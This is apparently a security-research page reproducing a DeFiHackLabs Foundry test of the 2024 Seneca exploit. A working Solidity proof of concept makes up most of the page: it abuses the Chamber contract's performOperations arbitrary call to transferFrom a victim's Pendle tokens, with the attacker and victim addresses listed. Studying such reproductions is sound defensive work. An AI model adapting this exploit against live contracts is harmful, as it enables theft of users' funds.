Public reproduction file

src/test/2024-02/Seneca_exp.sol

Public reproduction file for dataset entry Seneca.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/Seneca_exp.sol67 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$6M
8// Attacker : https://etherscan.io/address/0x94641c01a4937f2c8ef930580cf396142a2942dc
9// Vuln Contract : https://etherscan.io/address/0x65c210c59b43eb68112b7a4f75c8393c36491f06
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286
11 
12// @Analysis
13// https://twitter.com/Phalcon_xyz/status/1763045563040411876
14 
15interface IChamber {
16    function performOperations(
17        uint8[] memory actions,
18        uint256[] memory values,
19        bytes[] memory datas
20    ) external payable returns (uint256 value1, uint256 value2);
21}
22 
23contract ContractTest is Test {
24    IChamber private constant Chamber = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);
25    IERC20 private constant PendlePrincipalToken = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);
26    address private constant victim = 0x9CBF099ff424979439dFBa03F00B5961784c06ce;
27    uint8 public constant OPERATION_CALL = 30;
28 
29    function setUp() public {
30        vm.createSelectFork("mainnet", 19_325_936);
31        vm.label(address(Chamber), "Chamber");
32        vm.label(address(PendlePrincipalToken), "PendlePrincipalToken");
33        vm.label(victim, "victim");
34    }
35 
36    function testExploit() public {
37        // Datas
38        uint256 amount = PendlePrincipalToken.balanceOf(victim);
39        bytes memory callData =
40            abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), amount);
41        bytes memory data = abi.encode(address(PendlePrincipalToken), callData, uint256(0), uint256(0), uint256(0));
42        bytes[] memory datas = new bytes[](1);
43        datas[0] = data;
44 
45        // Actions
46        uint8[] memory actions = new uint8[](1);
47        actions[0] = OPERATION_CALL;
48 
49        // Values
50        uint256[] memory values = new uint256[](1);
51        values[0] = uint256(0);
52 
53        emit log_named_decimal_uint(
54            "Exploiter PendlePrincipalToken balance before attack",
55            PendlePrincipalToken.balanceOf(address(this)),
56            PendlePrincipalToken.decimals()
57        );
58 
59        Chamber.performOperations(actions, values, datas);
60 
61        emit log_named_decimal_uint(
62            "Exploiter PendlePrincipalToken balance after attack",
63            PendlePrincipalToken.balanceOf(address(this)),
64            PendlePrincipalToken.decimals()
65        );
66    }
67}

Analysis

Dataset entry

Public Foundry test for “Seneca” (2024-02-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x94641c01a4937f2c8ef930580cf396142a2942dc

Attack Tx
0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286

File record

Name: Seneca
Path: src/test/2024-02/Seneca_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: b64a146aa73c985be121899e6b7a31f798e6609f
Language: Solidity
Size: 68 lines
Date: 2024-02-28
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-02/Seneca_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b64a146aa73c985be121899e6b7a31f798e6609f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.